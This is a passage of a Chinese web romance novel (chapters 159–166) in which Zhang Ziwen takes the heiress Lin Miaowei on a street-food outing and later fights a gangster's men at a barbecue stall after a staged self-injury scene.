《我刚宣布单身,美女下属就开始蠢蠢欲动》
第159章 张子文,你三个月没找我了!
林天衡望向生平第一次向自己道歉的微微,他没觉得欣慰,他也不需要道歉,不论微微做任何出格事,林天衡都接受,并无条件支持。
这样的微微,本就是林天衡希望的。
林天衡不允许微微走她母亲的老路。
她可以负任何人,哪怕自己,但她母亲吃的苦,受的委屈,不能发生在她身上。
林天衡给林妙微倒了一碗汤,笑容慈祥:“微微,你记住,不论任何时候,发生任何事,永远不要向老爸道歉。”
林妙微皱眉,深深看他。
林天衡也认真端详着和妻子神似的微微。
她眼神依旧淡漠,眉宇间,隐隐闪烁着不通人性的森冷。
但她眼眸中,有了一抹以前没有的思考。
“是不是跟张子文相处久了,学了他身上礼貌谦逊、斯文有礼的陋**?”林天衡打趣。
林妙微抿了一口汤,淡淡道:“他不喜欢我任性,他说他从小就被像我这样没礼貌的人欺负。”
停顿了下,林妙微直抒胸臆:“我不想被他讨厌。”
林天衡凝望微微,柔声道:“你喜欢他?”
“没有。”林妙微冰冷的脸上乃至于冷酷的心脏,都生出下意识的抗拒,可短暂思考后,她又摇头。“我不知道。”
林天衡并不意外。
微微早就被自己溺爱的不通人性,难分爱恨。
在林天衡编织的梦幻世界里,林妙微就是神,她掌控一切,呼风唤雨,可负所有。
唯独没有林天衡憎恶的善良与人性。
“自从上次陪他过完生日,你就没有再出过门。”林天衡嗓音温和道。“你不想和他玩吗?”
“他很忙。”林妙微目光清冷。“没空陪我。”
林天衡眼中闪过黯然之色,轻声问道:“那你就一直在家等他不忙?”
林妙微冷眸扫视林天衡:“我没有。”
林天衡愈发心疼。
他未必懂微微此刻的心。
可他通过妙儿的言行举止,能总结出微微此刻乃至将来的心思。
她只是不懂爱,也不善表达,也许等到她懂了,一切都晚了,也老了…
“微微,其实你应该…”
“够了。”林妙微放下碗筷,淡淡起身。“我的事,你少管。”
转身上楼后,林妙微锁上房门,坐在窗边的沙发拿出手机。
作为医学高材生,林妙微把洁癖蔓延到了手机屏幕,没有任何多余信息,也没有多余的联系人。
打开微信,第一个就是张子文的对话框。
上次聊天,是三个月前。
他微信问林妙微是否到家,并道了一声晚安。
往上翻着微信聊天,林妙微打着腹稿。
窗外春光明媚,阳光正好,照耀在林妙微清冷白皙的脸庞上,连细微的绒毛也清晰可见。
很快就翻到顶部的林妙微在对话框输入一段话:“忙完了吗?今晚有没有空?我想吃你之前说的路边摊。如果今晚不忙,我来找你。”
输入后。
林妙微删了。
歪头思考了许久,她又输入一段话:“林天衡新聘了几个国际名厨,有几道法国菜味道还可以,你今晚有空吗?我让厨师做给你吃。”
输入后,又删了。
林妙微继续打腹稿。
接下来几段话还没输入,在肚子里就删了。
“张子文,你三个月没找我了!”
林妙微发送出去,安静等待。
……
叮咚。
床头柜旁的手机响起。
刚给连轴
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转了多日的主人做了一个不带任何擦边的放松后,林妙儿看见了屏幕上弹出的名字。
接近四十八小时没睡觉的主人已经进入深度睡眠,林妙儿对自己的手法很满意,并顺手给主人的手机调成静音。
起身收拾完工具,林妙儿转身要出门,却突然驻足。
视线落在屏幕上,面色犹豫。
按照上一世剧本,林妙微已经没几天好日子了,后续全是苦难与折磨。
彼时主人与林妙微,也有了一些生活上的交集。
往后的交往,林妙儿自认不应该过多干预,防止引发蝴蝶效应。
其他女人发来消息,林妙儿会避嫌,也不想看。
但林妙微发来的…
反正是看自己的微信消息,林妙儿没有道德压力。
如果没有记错,彼时林妙微很强势,对主人也不太礼貌,甚至欺负过主人。
输入密码,打开微信。
“张子文,你三个月没找我了。”
看着屏幕上那触目惊心的一行字,林妙儿五雷轰顶,俏脸煞白。
这条微信,上一世的林妙微发过,在办完林天衡葬礼后,在独自一个人躲在鸦雀无声的庄园角落时,她万念俱灰的从微信里找到唯一可以聊天的男人。
微信里的三个男人,林天衡和侯英全**,只有他。
那份孤独与绝望,哪怕足足过了二十年,林妙儿也难以忘怀。
那晚,黑暗笼罩庄园,与世隔绝。
林妙微睁大眼睛盯着漆黑的房门,枯等了一夜。
林妙儿视线模糊,那夜,她没等来主人。
今晚,她希望林妙微可以见到。
“晚上带你兜风逛小吃街。”
林妙儿指尖发颤,输入那条她二十年前没等来的微信。
第160章 把那个怪胎当成我!
林妙儿发出微信后,索性偷拿主人手机出门。
消息电话太多,屏幕一直闪,她怕影响极度缺觉的主人休息,也略微担心主人睡太久,等不及的林妙微再找主人。
从中午到傍晚时分,林妙儿替主人接了十几个方便的电话,比如在产品发布会上出尽风头的**阳,比如郑家兄妹,比如唐唐。
当唐唐从张总电话那边听到公关经理林妙儿的嗓音时,极力控制心头酸楚。
可以理解,林经理不论身材外貌还是气质,都碾压自己,陪同张总出席一些相对私人的宴会,方便给张总抬轿子。
后续还接到几个资方打来的报喜电话,得知高强度工作的张总在休息,也没打扰。
光是接一下午电话,通讯录和微信好友加起来不超过十个的林妙儿就觉得累。
而主人平时除了要处理这些琐碎电话,大头精力还得放在工作上,强度可想而知。
林妙儿去厨房看了看帮主人熬的汤,其实猪蹄和鲈鱼已经准备好,但她替主人答应了陪林妙微吃饭,就没做。
晚七点,预料之中的微信发过来:“我饿了,你几点忙完?”
林妙儿正要回微信,房门咔嚓响起,张子文走出来,虽睡眼惺忪,但眉宇间的疲惫一扫而空,精气神补回来了。
“主…主人。”林妙儿下意识将手机藏在背后,红唇嗫嚅道。“睡饱了?”
“嗯。”张子文轻轻点头,笑容温和。“藏什么?”
“你的手机…”林妙儿眼神躲闪,俏脸微白。
“不用藏。”张子文漆黑的眼眸中溢出笑容。“你都可以看。”
林妙儿芳心微颤,轻咬红唇,得寸进尺道:“我还替主人答应陪林妙微吃饭…”
张子文脸色一沉,板着脸道:“这你就有点过分了。”
林妙儿娇躯微僵,不知所措。
“我这次为巨峰立下大功,王总特意帮我搞了一个盛大的庆功宴,宴请了不少圈内老板…”张子文皱眉道。
“对不起主人,我不知道你有安排…”林妙儿俏脸委屈。
“我推了庆功宴。”张子文唇角泛着戏谑浅笑,语气苛责。“本来想陪你吃顿大餐,你倒好,擅自做主把我派去伺候那位脾气不好的千金大小姐。”
林妙儿攥着手机的手心微微出汗,在听完主人的话,她心中温暖,俏脸掠过复杂之色:“主人把那个怪胎当成我就行…”
张子文没纠结这点小事,最近他高强度工作,林妙儿基本承包了家里的衣食住行,要这点要求都不答应,倒显得不近人情。
进厨房盛了两碗汤出来,坐在餐厅喝完,抿唇道:“你替我回她,我喝完汤就过去。”
林妙儿轻轻点头,指尖轻触屏幕:“穿漂亮点,一会来接你。”
……
早就化了精致妆容,穿得既矜贵又优雅的林妙微收到微信,又站在镜子前梳理了一下乌黑秀发,清冷俏脸上隐隐闪过期待之色。
下了楼,拽着薛贵在客厅喝酒的林天衡挑眉,喜上眉梢:“微微,出去约会啊?”
“要你管?”林妙微语气虽冷,眼角却洋溢着愉悦。
“不管不管。”林天衡讪笑一声,眼底写满欣慰。
二
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人目送宛若一只骄傲白天鹅的林妙微出门,薛贵小声嘀咕:“巨峰这次大出风头,小张作为巨峰核心,今晚的庆功宴不去参加?那可是他人生高光啊。”
林天衡脸色一沉,目光锋利:“庆功宴能有微微好玩?活该你个废物单身一辈子!”
薛贵撇嘴:“女人如衣服这句话可是老板你的口头禅。”
林天衡目露凶光:“老子让你死你怎么不死?就记得这句话?”
薛贵倒满酒,见也没外人,不跟他计较,催促道:“喝酒喝酒,养鱼呢?”
……
在庄园门口等了快二十分钟,张子文才驱车赶来。
等的侯英抽了好几根烟,都有点不耐烦了,林妙微却心平气和。
“文哥,我来当司机?”侯英咧嘴笑道。
给的理由是怕二人待会想喝点,不能开车反而麻烦。
张子文却看见了侯英偷偷递来的眼色,季伯常反了,林天衡肯定会顾虑。
虽说整个江城都知道即便正大光明给林天衡下套子,也绝对不能招惹林妙微。
动她,就彻底没回头路了。
林妙儿怕张子文想太多,也主动提过在整个事件中,林妙微都是安全的,是完全被置身事外的,让他出来玩别有负担。
见文哥同意,侯英松了口气,满脸感激。
上了车,张子文透过后视镜瞧见车后黑压压的车队压阵。
看车辆数,估摸庄园里林天衡秘密豢养的死士,倾巢出动了。
见文哥眼神微变,侯英语气舒缓,咧嘴笑道:“文哥放心,就是例行公事,没事。”
第161章 我没骗过你!
张子文看了眼满脸无畏且坚定的侯英,他知道,如果林妙微遭遇危机,这个在上一世剧本里死过一次的男人,会毫不犹豫豁出性命,保护小时候喊过微微姐的林妙微。
张子文皱眉,内心兀自窜起纷杂情绪。
“文哥,你怎么了?”侯英探头询问,眼里写满关心。
“没事。”张子文舒展眉头,看了眼侯英。“别掉以轻心,谨慎点。”
“当然!”侯英咧嘴笑了笑,忽然回头望向林妙微。“大小姐,你看文哥多关心你。”
林妙微瞥了侯英一眼,淡漠道:“好好开车。”
按照文哥给的地址,一行人来到林妙儿当初带张子文来过的美食街,人头攒动,空气中弥漫着香味,充满烟火气。
侯英很有分寸保持距离,尾随在后,早就换上便装的庄园死士,也分散开来,目光如鹰隼,聚焦在身着漂亮长裙的林妙微四周。
若有异动,众人会无视王法,以他们擅长的手段保护林妙微。
林妙微从好几家小吃摊经过,都没决定吃哪家,甚至有点不敢吃。
看着很油,也不卫生,连窜到鼻端的味道,也很陌生。
就连那群商贩看她的眼神,也很古怪。
“你喜欢吃什么?”林妙微回头看张子文。“我请你。”
跟着他吃点就可以了。
才逛了一小段美食街,作为一名有严重洁癖的医学高材生,林妙微基本确定这里没她爱吃的,她也很难将那些油乎乎的食物送进嘴里,心理负担太大。
张子文看了眼第一次来美食街的林妙微,和他那晚很像,不知道吃什么,选择困难到有些局促。
张子文很随意挑了几家小摊,都是林妙儿爱吃的。
林妙微全程看得直皱眉。
直至张子文拎着小吃走近,她**两步,美眸写满疑问:“我能不吃吗?”
张子文微笑摇头,递给林妙微一串烈火牛肉,中辣:“不吃你来这里干什么?”
林妙微白皙清冷的俏脸上写满抗拒,伸手接过烈火牛肉。
“试试,我猜你会喜欢。”张子文带头起表率作用,吃了一串。
林妙微不信。
但她浅尝了一口。
别说,还挺香,就是辣了点。
张子文又带林妙微吃了几家,就像当初林妙儿带他品尝。
“这个不错,除了太油。”
林妙微从起初的抗拒,慢慢帮张子文拎小吃袋,边拎边吃。
甚至主动选了一款不油的小吃,结果很失败,难吃。
她不信邪,又选了几款,基本没符合胃口的。
反观张子文,选的每一样她都能吃,有些还挺喜欢。
从中午饿到快十点,林妙微胃口很好,没少吃。
“你比我还要了解我。”林妙微握着一杯无糖奶茶,眼神疑惑。“怎么做到的?”
张子文微笑道:“别人告诉我的。”
“侯英?”林妙微皱眉。
侯英从小陪着林妙微,比常年满世界飞的林天衡更了解她的口味。
张子文不喜欢撒谎,但也不能说是她自己说的,只能微笑不语。
又走了一段路,才喝了半杯奶茶的林妙微彻底把自己喂饱,回头挥手,侯英迅速站在面前。
“拿
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去吃。”林妙微吃不动了,但她知道张子文讨厌浪费食物,将一时兴起买的几袋小吃全塞给侯英。“不准浪费。”
侯英满脸雀跃,重重点头:“保证完成任务!”
二人走在前面消食,侯英跟在身后猛吃,但一双清澈的大眼睛,却一瞬不瞬盯着林妙微,还有文哥。
“你这么久不找我,是不是觉得我不懂事,不想和我玩?”林妙微口吻淡漠,美眸扫了张子文一眼。
“为什么这么说?”张子文回看她。
“你和季伯常关系很好,但我当众打了他。”林妙微脚步放慢,淡漠道。“你讨厌我,也正常。”
张子文沉默了。
不知道是碍于林妙儿的面子,还是提前知道了这段剧本,当侯英打电话说林妙微打了季伯常,张子文仅仅只是惋惜没能改变剧本,而非林妙微不懂人情。
“是不是在你眼里,我就是一个奇怪的,没有礼貌的,做事没有分寸,做人不讲道理的怪胎?”林妙微驻足,侧身看他。
张子文眉头微蹙。
在林妙儿的‘诱导’下,张子文在很长一段时间里,的确是这么看待林妙微的。
甚至,比林妙微自我介绍的更严重。
一般情况,张子文不愿撒谎。
但眼下明显是非一般情况。
就在他准备开口时,林妙微凌厉的眼眸投射过来,脸上既有等待,又有执拗与倔强。
“别骗我。”林妙微俏脸微白,就连头顶冷白的路灯,也掩盖不住她雪白而清冷的脸庞。“从第一次见面到今晚,我没骗过你,没和你说过一句假话。”
第162章 能不能雨露均沾?
川流不息的美食街,林妙微眼神执拗,俏脸写满倔强。
面对咄咄逼人的林妙微,张子文放弃了他本就不擅长的撒谎,平静道:“是的。”
林妙微眼中闪过冷色,内心瞬间烦躁,嗓音阴寒:“所以你讨厌我?”
张子文摇头:“不讨厌。”
“那你三个月不找我?”林妙微逼问。
“我很忙。”张子文诚实回答,甚至反击。“这三个月,你也没找我。”
林妙微脸色微怔,皱眉道:“我从不主动找别人。”
要不是被林天衡说烦了,她今晚未必会主动约张子文。
她会像林天衡说的那样,等张子文忙完,等他找自己。
上一世,林妙微就这么等了二十年,等到心理畸形,等到召凤楼那群女人,都当她是怪胎,是阴暗瘸腿恶女。
“我也很少主动找别人。”张子文目光温和,望向和林妙儿性格迥异的林妙微。
“为什么?”林妙微皱眉。
“因为没人理我。”张子文笑容克制。
林妙微眼中的恶毒与烦躁渐渐消散,内心泛起莫名波澜,语气坚决:“我会理你。”
她没特意去查张子文过往,但侯英有意无意提过,林天衡在餐桌上也说过一些。
身为孤儿,他从小受尽欺辱,养成孤寡性格,既不愿与旁人分享喜悦,也不会宣泄悲伤。
没人在意他,也不会理他。
而林妙微不愿主动找别人的理由,和张子文恰好相反:她只活在自己的世界,不想理任何人。
四目触碰,林妙微平静道:“我会改。”
“我知道。”张子文轻轻点头,眼里露出林妙微以前很讨厌,但现在能接受的目光。
那是一种觉得林妙微长大了的欣慰眼神。
从小自我为中心的林妙微不屑被人肯定,连林天衡都不敢拿这种眼神看她。
但她默认了张子文的爹味眼神,因为她不想被张子文讨厌。
“为什么总是用这种眼神看我?”林妙微目光清澈,没有情绪与波澜,仅仅好奇。“你很奇怪。”
从第一次见面,他眼神就怪怪的,好像对不懂事的自己很失望,好像他眼里的自己,应该如他所说是一个大家闺秀,蕙质兰心的温柔女子。
张子文深深看她,意味深长道:“其实我看你,也很奇怪。”
林妙微没有否认,疑惑道:“我改掉奇怪的脾气和毛病,你会开心?”
张子文点头,眼神真诚:“当然,你也会喜欢改掉坏脾气的自己。”
“未必。”林妙微并不认可。
张子文没强求,脑中浮现林妙儿穿越后的种种行径。
林妙微未必认可改变后的自己,但林妙儿也许会开心。
张子文大概猜到林妙儿未来的生活,不像她说的那样美好。
如果没有外力干预,时常自审内心的张子文不觉得自己会和林妙微保持亲密关系。
他甚至不想接触和曾经那些欺负过自己的人特性吻合的林妙微。
一对都不爱主动找彼此,甚至性格作风都让彼此感到不适的男女,怎么会走到
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一起?
走出美食街,林妙微平静道:“等林天衡忙完这一阵,我就能经常找你玩了。”
停顿了下,林妙微解释道:“他让我最近少出门。”
张子文补充道:“季伯常最近和你父亲的仇家走的很近。”
“嗯,他说了。”林妙微挑眉。“你也觉得季伯常会报复我?”
张子文没有否认。
林妙儿说过,这场在江城掀起腥风血雨的浩劫,并没牵连到林妙微。
她也一定把这个消息透露给林天衡了。
但这两个男人,似乎都不信。
张子文亲自送林妙微回庄园,全程面色沉凝,注意每一辆形迹可疑的车辆。
来到庄园,早就收到消息的林天衡亲自在门口迎接。
“这才几点?后半夜没安排活动?”林天衡有点失望。
“困了。”林妙微替张子文解围,她没说一定要回家,但二人都安排不出活动,她不想为难张子文。
“微微,咱都不念书了,改改作息吧。”林天衡语重心长道。
林妙微冷冷瞥了林天衡一眼,跟张子文道了声晚安,转身回庄园。
目送微微离开,林天衡点了根烟,口吻复杂道:“小张,林叔有个事想求求你。”
张子文眉头微蹙,内心却充满防备:“林叔言重了,有事您说。”
“出去玩的时候,能不能别把微微当成妙儿替身?”林天衡的视线从林妙微身上收回,语气恳求道。“能不能雨露均沾,别搞性格歧视?微微未来,就是妙儿啊。”
第163章 你的一切都是我的!
张子文又一次从这位江城传奇大亨威严的脸庞上看见了矛盾与纠结。
就像家里那位穿越者,她冰雪聪明,情商极高,在面临人生选择时既潇洒又豁达,可唯独在提到林妙微时,虽言辞刻薄恶毒,内心也矛盾纠结,左右为难。
谁又忍心责怪年轻时鲁莽而愚蠢的自己呢?
哪个当父亲的,又会在面对同一个女儿时,偏心呢?
就像这句听着看着都很扯淡的话,林天衡的内心,就很扯淡。
那位穿越者也懵,既不愿善,也狠不下心。
“我尽量。”
张子文眉头微蹙,坦诚道:“我有时候也恍惚。”
林天衡叹了口气,重重拍了拍张子文的肩膀:“小张,辛苦了。”
连他这个当爹的都懵,这年轻人肯定迷糊。
张子文抬眸望向林天衡,笑容矜持,有点报复性:“您也是。”
林天衡表情一僵,跟小张从头共鸣到脚。
……
明月街,燕子烧烤。
路边停满豪车,十几桌坐得满满当当,居中那桌,坐着季伯常,左右是吃不惯路边摊的李秋白和商经陵。
两位江城大纨绔跟了季伯常有一阵,既不爽他粗粝的粗粝作风,又十分敬佩他。
从明月街发家打穿江城,麾下灰色产业覆盖全城,随叫随到的心腹能一夜间挤满明月街。
两边家长都提醒过,少说,多听,学学这位草莽枭雄。
几个月的耳濡目染,二人对季伯常有了显著改观,愈发觉得这位草莽大亨深不可测。
嗖!
一辆轿车缓缓驶来,停在塞满豪车的路边。
紧接着,一道靓丽身影走下车,清冷的脸,刻薄的眼,浑身弥漫着不通人性的恶毒。
她美眸环顾,孤身一人朝气焰彪悍的烧烤摊踱步走去。
在瞧见那张绝美脸庞时,几位季哥绝对心腹蠢蠢欲动,想要起身。
但只是想了一想。
都是跟了季哥多年的老兄弟,谁不知道林家大小姐什么性情?
可以反我,但别惹她,她不通人性!
这是林天衡当年对季伯常的敲打。
也是季哥对他们的警告。
气场森冷的林家大小姐踱步走向季伯常,甚至没人敢拦,就连挨过打的李秋白,也脸色发白,第一反应不是复仇,而是别招惹这个疯批怪胎。
林天衡倒台之前,李秋白不敢动歹念。
甚至在林妙微来到餐桌旁边时,李秋白和商经陵迫于强大的心理负担,僵硬站起身。
季伯常却冷眸盯着她,动作沉稳地点了一支烟,面色狰狞。
林妙微旁若无人坐在季伯常身边,面无表情,红唇泛着淡漠之色:“聊聊?”
“聊什么?”季伯常吐出口浓烟,烟雾掩住狰狞的脸,目光阴寒。“聊你当年怎么剁我的手?聊你当着我的人怎么殴打我?”
不给林妙微开口机会,季伯常嗓音低沉,充满怨恨:“欠林天衡的,我还清了!”
林妙微眯眼端详季伯常,随手拿起桌上一个空酒瓶。
嗖嗖嗖!
附近乌泱泱的西装青年猛然站起身,但没人敢上前。
就像那天林妙微在机场施暴,季伯常不开口,没人敢拦。
李秋白身躯微颤,痛苦的记忆涌上心头,脸色铁青。
但此刻,他希望这个林家怪胎动手。
“林妙微!”季伯常岿然不动,浑身爆发出残暴戾气。“我警告你…”
砰!
季伯常话音未落,林妙微拎起酒瓶,砸在自己头上。
刹那间,所有人脸色苍白,心头涌出不祥预感。
尤其是靠得近的李秋白,他瞳孔收缩,死死盯着鲜血顺着白皙脸庞淌下的林妙微。
这怪胎,疯了?
“聊聊?”
林妙微唇角泛起一抹诡谲之色,冷眸凝视神色微僵的季伯常。
但很快,季伯常恢复冷静,沉声道:“你有病?”
眼前这个林妙微,让他感到陌生。
“季哥,她想诬陷你!”
李秋白回过神,提醒季伯常
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林妙微回眸,冷冷瞥视李秋白。
后者见状,连忙避开视线,不敢跟这个怪胎对峙。
季伯常死死盯着林妙微,脸色阴沉:“聊什么?”
“我做什么,你可以不生气。”林妙微平静道。“可以不反?”
此言一出,所有人脸色陡变。
他们认识的林妙微,说不出这种话,也绝不会向任何人道歉。
她这个怪胎,早就被林天衡养成不通人性的野兽。
别说季伯常只是**,哪怕林天衡真因此而死,她也不会后悔。
她没人性的。
“张子文让你来的?”季伯常想出唯一可能。
林天衡不可能劝她道歉,也劝不动她。
以林妙微的性情,也绝对不会为任何事道歉。
除了张子文。
“就当是吧。”林妙微语气淡漠。
季伯常陷入沉默。
一旁的李秋白,却**诛心,满脸怨毒:“季哥,既然林小姐这么有诚意,您那两根断指,也是时候讨回来了。”
季伯常眼底闪过异色,死死盯着林妙微:“林小姐,你确定?”
林妙微绝美的脸庞上,浮现一抹渗人的笑容:“确定。”
哐当。
一把水果刀,扔在桌上。
林妙微神情淡漠,握住水果刀,另一只纤细雪白的手缓缓分开,露出拇指与食指。
刀尖戳在桌上,林妙微抬眸,笑容诡异而真诚:“季哥,说话算话?”
季伯常目光阴沉,淡漠道:“你敢剁?”
林妙微眯眼诡笑:“敢。”
手起,正要刀落。
一道宛若鬼魅的身影,瞬间出现在林妙儿身后。
握刀的手臂突然一麻,刀口被握住,拦住了想凭一己之力改写剧本的女人。
“谁允许你剁自己的?”
耳畔响起温柔而霸道的嗓音,鼻端闻到的,是和她用同一个牌子洗衣粉的香味。
“你的手是我的。”张子文握住刀,字字铿锵。“你的一切,都是我的。”
第164章 我需要你给我脸?
林妙儿娇躯紧绷,缓缓回眸。
映入眼帘的,是一张她认识了二十一年,记忆深刻到闭眼都能在脑中临摹出五官的脸庞。
他眼神温柔,脸上闪过苛责之色。
好似林妙儿在没得到允许的前提下,动了他的私有物。
居高临下的张子文,俯瞰林妙儿。
脑袋挨了一个酒瓶依旧清冷孤寒的林妙儿,此刻心绪翻滚,面色动容。
甚至不敢直视一年来永远在讨好在巴结,永远言听计从的男人。
“文哥,我…”
也许是怕主人生气,林妙儿语气变软,想要解释。
“我知道。”张子文轻轻摇头,打断她。“不用解释。”
林妙儿轻咬红唇,垂下眼眸。
“张子文!”
李秋白怒视在这装腔作势,坏了自己好事的张子文,恼羞成怒:“你是想英雄救美?你有这本事?”
跟季伯常组团围剿林天衡,他没那么忌惮。
林妙微主动赔礼道歉,甚至不惜自断手指,证明她怕了,或者说…连林天衡也紧张了!
以前林妙微无法无天的逞凶,李秋白会怕。
但现在,他不怕服软示弱的林妙微,还想趁机一雪前耻!
商经陵也眉头微蹙,手一挥,几名保镖堵住张子文去路,踱步上前,语气阴冷:“这里没你的事。”
上次输给张子文,他一直不服,这半年也学了些手艺,想找机会收拾他。
张子文扫视二人,不像上次在林妙微生日宴上一退再退,反而挺身前行,逼近商经陵:“又欠打了?”
商经陵瞬间冒火,目露凶光:“你试试?”
咻!
张子文动了。
脚下一蹭,发出尖锐破空声,身形如豺狼,猛攻商经陵。
出手就一拳爆肝。
商经陵迅速格挡,一记下作撩阴腿,想爆蛋。
啪!
张子文屈膝撞开商经陵一脚,又是一拳,当场爆肝。
砰!
商经陵**两步,脸色蜡黄,只觉五脏六腑翻江倒海,剧痛难当。
可这一次,张子文没点到即止。
他心中积攒二十六年,藏得极深的怨气,因林妙儿受辱有点爆裂。
漆黑而冰冷的眸子里,闪着嗜血气息。
嗖!
不等商经陵站稳,张子文凌空膝撞,直击商经陵胸膛。
噗通!
商经陵砸在地面,只觉呼吸凝滞,脸色因呼吸不畅而一片涨红。
他捂住胸口,眼神惊骇而后怕。
他能清晰感受到,张子文相比上一次交手,爆发力更猛,速度更快,下手更黑,整个人竟弥漫出一股阴寒戾气。
眼看张子文逼近,商经陵想起身后撤,却被张子文一脚踩头,狠狠碾压在地面,眸子里闪着戾气:“真以为我怕你?”
商经陵被当众踩脸,玩命挣扎想起身,却被张子文一脚踢在脸上,登时口鼻冒血,惨绝人寰。
后续几名商经天的保镖强势上前,也被张子文冷酷放倒,下的都是最省力但最黑的手,瞬间到底,动弹不得。
那张往日里清秀斯文的脸庞上,写满连林妙儿都困惑后怕的戾气。
就像上一世,她从未真正了解过主人…
“刀是你递的
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?”
张子文走向刚才还在放狠话的李秋白。
李秋白瞥了眼被打得惨不忍睹的商经陵,满脸惊慌,突然觉得眼前这个冷漠的年轻人,比林家那个怪胎还让人害怕。
林妙微到底是女人,下手又能有多重?
“是我,怎么了,不服?”
李秋白环顾四周近百名季伯常部下,哪个不是摸爬滚打的**湖?
他张子文再能打,能打一百个?
张子文面无表情地抬起手。
“够了!”
岿然不动的季伯常拍案而起,刹那间,全场乌泱泱黑压压的西装青年汹涌起身,一双双辛辣的眼眸死死盯着目中无人的张子文,气焰凶悍。
“张子文,真以为仗着和我有点交情,就敢在这放肆?”季伯常满面威压,嗓音低沉而霸道。“是不是给你脸了?”
张子文闻言,眉头微皱,抬起的手举在半空,没有落下。
李秋白见状,内心稍安,遂满脸狰狞,怒视张子文:“你动我一下试试?”
说罢,他甚至主动歪着头,极尽挑衅。
他可不是商经陵,李家,也不是商经陵那一派的商家能比。
动了他,季伯常没法跟父亲交差!
张子文淡淡回眸,瞥了眼满脸凶悍的季伯常,眼中戾气横生:“我需要你给我脸?”
啪!
张子文当着上百名江湖人士的面,一巴掌抽在李秋白英俊的脸庞上,下手很重,当场打落两颗牙,口鼻近乎喷血,半张脸瞬间红肿如猪头。
眼前又黑又冒星星的李秋白只觉得脑浆都被这一巴掌摇匀了。
第165章 我也很能打!
李秋白脚下踉跄,险些栽倒。
他捂住脸,勃然大怒:“季哥,替我弄死他!”
砰!
张子文抬腿一脚,猛踹其胸腹,登时如断线风筝,身躯状若虾米,双膝跪地,嘴里呕出尚未消化的污浊。
季伯常含怒甩出酒杯,碎在张子文脚下。
浑身弥漫肃杀之气,声如洪钟:“张子文,你找死!?”
嗖嗖嗖!
无数追随季伯常出生入死的心腹部下猛蹿而至,将张子文围得水泄不通,虎视眈眈。
莫说动手,一人一口唾沫,也能将其淹没。
张子文扭身,漆黑的眸子一瞬不瞬盯着步步逼近的季伯常,身躯虽不如季伯常魁梧,却挺拔矗立在黑压压的人群之中。
季伯常江湖厮杀二十余载,早已磨砺出满身肃杀,在任何人看来,互联网技术员出身的张子文,都无法抵挡这位草莽枭雄的恐怖威压。
包括季伯常本人。
可直至他停在离张子文只有几公分的位置,这个年轻人都岿然不动,眼神也没有丝毫躲闪。
林妙儿眼见局势失控,也深知季伯常手腕狠毒,绝非善男信女,主人真要和他硬刚,后果不堪设想。
正要靠近,却被张子文一个淡漠眼神逼退。
林妙儿心脏猛的一沉,一瞬间,主人仿佛被未来那个强大而无情的男人附体,眼神冷酷到令林妙儿绝望。
“张子文,你是真觉得我不敢动你?”季伯常语气森冷,眉宇间戾气横生。“你把我季伯常当什么人了?”
“一个捞偏门的小瘪三。”张子文语气淡漠。
季伯常瞳孔震颤。
“**找死!”
两名季伯常的铁血心腹悍然出手。
都是**湖,下手狠辣之极。
“滚!”
季伯常爆喝。
猩红的眸子,含怒盯着张子文:“今天我和你,得有一个横着出去!”
“好。”
张子文语气平静,脱下林妙儿省吃俭用攒了三个月工资买的西装,叠好,递给林妙儿。
漆黑的眸子瞥了眼林妙儿白嫩脸蛋上没擦干的血迹,体内怨气肆意流窜。
“主人别冲动…”林妙儿压低嗓音,不安道。“季伯常能很打。”
她无法想象向来低调的主人为什么今晚会如此冷酷,甚至充满戾气。
“我也很能打。”向来自谦的张子文平静道。
“还有,记住你的身份。”张子文眼神冰冷得令林妙儿害怕。“我做的很多事,都是给你面子。我要不给你面子,他们死活,与我何干?”
林妙儿娇躯猛颤,眼眶通红。
她终于知道主人今晚为什么发这么大脾气。
她也终于明白主人对自己的心意。
他接近林妙微,是为自己。
他改写侯英命运,是为自己。
甚至就连参合那些以主人的性格,完全不感兴趣的事,比如加入总商会,也是为了自己…
连对工资职务都没有任何要求的主人,岂会在意虚名?
林妙儿气血翻滚,俏脸泛红,娇躯一阵阵的颤栗,做梦也想不到,主人如此重视自己…
张子文转身,走向同样脱掉西装,暴露强壮肌肉的季伯常。
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靠黑吃黑发家的季伯常,从未懈怠锻炼。
这比兜里的钱,手里的权势,更能保护自己。
“薛贵在我面前,撑不住五分钟。”季伯常扭动脖颈,劈啪作响。
今晚,他要让这个不知天高地厚的年轻人知道,为什么江城有那么多人怕他!
“哦。”
张子文走近季伯常,众目睽睽下,出拳。
嗖!
没等交手,一辆火红色法拉利裹挟轰鸣声浪呼啸而至。
车上跳下两名女子。
身穿警服的沈夏,裹着旗袍的柳红绫。
在收到消息后,再一次结成联盟的二女迅速赶来,连衣服都懒得换。
“季伯常,你敢动他一下,我今晚就把你拘了!”沈夏扒开气焰凶悍的西装青年,气势汹汹。
柳红绫美眸斜睨季伯常,狐媚的脸蛋上闪过阴毒之色:“你试试。”
季伯常皱眉,眼中闪过厉色。
一个是家里有座大山的沈家千金,一个是背靠江城老牌豪门的坏女人,就连被搀扶着坐在一旁的李秋白,都心乱了。
何况底子本就不干净的季伯常?
场面陷入僵持,情绪激荡的林妙儿刚觉得这两个**终于不那么面目可憎,可脑海中猛地闪过上一世类似的一幕…
渐渐松弛的心脏,再次悬了起来。
“老板,给她们上点烧烤。”
张子文瞥了眼躲在角落看戏的烧烤店老板,回眸望向前来助阵的沈柳二女,目光坚定,透着一抹令二女感到陌生的冷酷:“我做不到看她头破血流还要假装斯文。”
第166章 受不了从后面勒脖子!
柳红绫红唇嗫嚅,没法反驳,也没众目睽睽下装大姐大。
当初她被人骂烂货,张子文就动过手,柳红绫不想双标。
沈夏理由类似。
尤其是在瞥见林妙微脑袋被打破,脸上还有未擦干的血迹,而张子文眼里,全是蔡姨反复强调过的怨气。
二女对视一眼,被迫入座吃烧烤。
她俩对张子文评价各异,欣赏的优点也截然不同,但有一点达成共识,张子文是个犟种。
季伯常盯着眼神冰冷的张子文,脸色阴沉:“找死!”
咻!
脚下一蹭,魁梧身躯犹如一座山,轰然砸向张子文面门。
嗖!
张子文摇头避开,一记斜刺重拳,直捣季伯常左腰。
季伯常迅速挥臂格挡,一记重拳砸向张子文侧脑,拳风生猛,势大力沉。
啪!张子文挥臂隔开,猛地提膝,朝季伯常侧腰撞击。
砰!
季伯常力道用老,这一击没能及时回避,身躯踉跄两步后,猛然发力,宛若猛虎下山,俯冲上前。
战局焦灼,张子文爆发强,速度快,但季伯常胜在体重大,年轻时久经战场,经验极为老道。
长达三分钟激战,各自有损,却难分胜负。
